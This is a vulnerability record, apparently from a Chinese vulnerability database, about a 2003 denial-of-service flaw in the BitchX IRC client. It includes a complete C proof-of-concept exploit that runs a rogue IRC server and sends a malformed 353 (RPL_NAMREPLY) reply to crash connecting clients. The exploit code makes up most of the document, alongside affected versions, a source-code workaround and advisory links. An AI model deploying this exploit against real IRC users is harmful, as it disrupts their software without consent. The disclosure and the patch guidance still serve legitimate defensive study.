https://www.exploit-db.com/exploits/22259
https://cxsecurity.com/issue/WLB-2007100100
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-359

BitchX是一款流行的IRC客户端，可使用在多种操作系统平台下，包括Linux和Windows。BitchX不正确处理部分包含RPL_NAMREPLY数字的回复，远程攻击者可以利用这个漏洞对BitchX进行拒绝服务攻击，使程序崩溃。发送畸形的包含RPL_NAMREPLAY数字353的回复应答给BitchX客户端，可导致BitchX崩溃。

source: http://www.securityfocus.com/bid/6880/info

It has been reported that BitchX does not properly handle some types of replies contained in the RPL_NAMREPLY numeric. When a malformed reply is received by the client, the client crashes, resulting in a denial of service. 

/*
 * bitchx-353.c
 * --argv
 * Jan/30/03
 *
 * Vulnerable:
 *      BitchX-75p3
 *      BitchX-1.0c16
 *      BitchX-1.0c19
 *      BitchX-1.0c20cvs
 *
 * Not Vulnerable:
 *      BitchX-1.0c18   (So far..)
 *
 *
 *  Workaround:
 *      in function funny_namreply()
 *      after the PasteArgs(Args, 2);
 *      add in
 *      -- snip --
 *      if (Args[1] == NULL || Args[2] == NULL)
 *                      return;
 *      -- unsnip --
 *
 * ---- the vuln code of bx -----
 *       PasteArgs(Args, 2);
 *       type = Args[0];
 *       channel = Args[1];
 *       line = Args[2];
 *
 *       ptr = line;
 *       while (*ptr)
 *       {
 *               while (*ptr && (*ptr != ' '))
 *                       ptr++;
 *               user_count++;
 *               while (*ptr && (*ptr == ' '))
 *                       ptr++;
 *       }
 * ------------------------------
 *
 * [panasync([email protected])] you would hope the irc server would be a trusted source.
 * [hellman([email protected])] 'Free porn at /server irc.owned.com'
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

static char shellcode[] = ":* 353 * =  :n";    // <-- this could be something worse.

int acceptConnection(int fd)
{
   char *ip_addr;
   int descriptor, sal;
   struct sockaddr_in sa;
   sal = sizeof(sa);
   descriptor = accept(fd, (struct sockaddr *) &sa, &sal);
   if (descriptor >= 0) {
      ip_addr = inet_ntoa(sa.sin_addr);
      printf("Connection from %s:%dn", ip_addr, ntohs(sa.sin_port));
   }
   return descriptor;
}


int main(int argc, char **argv)
{
   int sock, serv, port;
   struct sockaddr_in server;

   port = 6667;

   if (argc > 1)
        port = atoi(argv[1]);

   memset(&server, 0, sizeof(server));
   server.sin_port = htons(port);
   server.sin_family = AF_INET;
   server.sin_addr.s_addr = INADDR_ANY;

   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
   setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &serv, sizeof(int));

   if (bind(sock, (struct sockaddr *) &server, sizeof(struct sockaddr_in))
       == -1) {
      return 0;
   }

   listen(sock, 1);

   while (1) {
      serv = acceptConnection(sock);
      write(serv, shellcode, strlen(shellcode));
      close(serv);
   }
   return 0;
}

来源:XF
名称:bitchx-irc-namreply-dos(11363)
链接:http://xforce.iss.net/xforce/xfdb/11363
来源:BID
名称:6880
链接:http://www.securityfocus.com/bid/6880
来源:BUGTRAQ
名称:20030217[argv]BitchX-353Vulnerability
链接:http://www.securityfocus.com/archive/1/312133
来源:GENTOO
名称:200302-11
链接:http://www.linuxsecurity.com/content/view/104622/104/
来源:FULLDISC
名称:20030217[argv]BitchX-353Vulnerability
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2003-February/003850.html
来源:SREASON
名称:3279
链接:http://securityreason.com/securityalert/3279
来源：NSFOCUS
名称：4423
链接：http://www.nsfocus.net/vulndb/4423